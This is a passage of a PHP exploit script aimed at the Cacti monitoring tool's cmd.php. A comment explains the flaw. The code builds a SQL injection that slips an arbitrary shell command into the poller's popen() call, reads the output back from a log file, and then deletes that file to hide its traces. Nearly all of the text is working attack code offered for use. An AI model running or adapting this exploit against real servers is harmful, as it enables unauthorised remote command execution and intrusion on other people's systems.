126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";} } return $exa."\r\n".$result; } $proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); } $host=$argv[1]; $path=$argv[2]; $port=80; $proxy=""; $cmd=""; for ($i=3; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P") ) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} function my_encode($my_string) { $encoded="CHAR("; for ($k=0; $k<=strlen($my_string)-1; $k++) { $encoded.=ord($my_string[$k]); if ($k==strlen($my_string)-1) {$encoded.=")";} else {$encoded.=",";} } return $encoded; } /* software site: http://cacti.net/ the cmd.php is not properly protected: ... if (!isset($_SERVER["argv"][0])) { die("
This script is only meant to run at the command line."); } ... if register_argc_argv = on, you can have web access, poc: http://[target]/[path]/cmd.php?1 now you can inject sql commands, ex. in this query: ... $polling_items = db_fetch_assoc("SELECT * from poller_item " . "WHERE (host_id >= " . $_SERVER["argv"][1] . " and host_id <= " . $_SERVER["argv"][2] . ") ORDER by host_id"); ... and you can poison the $polling_items array that becomes like this: Array ( [0] => Array ( [local_data_id] => 2 [poller_id] => 0 [host_id] => 1 [action] => 1 [hostname] => 127.0.0.1 [snmp_community] => [snmp_version] => 1 [snmp_username] => [snmp_password] => [snmp_port] => 161 [snmp_timeout] => 500 [rrd_name] => proc [rrd_path] => [rrd_num] => 1 [rrd_step] => 300 [rrd_next_step] => 0 [arg1] => [your command] [arg2] => [arg3] => ) ) $polling_items[arg1] is passed to a popen() call in /include/poller.php, see exec_poll() function... you do not have any output but you can redirect it to some file in /rra or /log folder which is 'cactiuser'' */ $command=my_encode($cmd." > ./rra/suntzu.log"); $h=my_encode("127.0.0.1"); $pr=my_encode("proc"); $sql="1111)/**/UNION/**/SELECT/**/2,0,1,1,$h,null,1,null,null,161,500,$pr,null,1,300,0,$command,null,null/**/FROM/**/host/*"; $packet ="GET ".$p."cmd.php?1+$sql+11111 HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); sleep(2); $packet ="GET ".$p."rra/suntzu.log HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); echo $html; $command=my_encode("rm ./rra/suntzu.log"); $sql="1111)/**/UNION/**/SELECT/**/2,0,1,1,$h,null,1,null,null,161,500,$pr,null,1,300,0,$command,null,null/**/FROM/**/host/*"; $packet ="GET ".$p."cmd.php?1+$sql+11111 HTTP/1.0\r\n"; $packet.="Host: ".$host."\r\n"; $packet.="Connection: Close\r\n\r\n"; sendpacketii($packet); ?>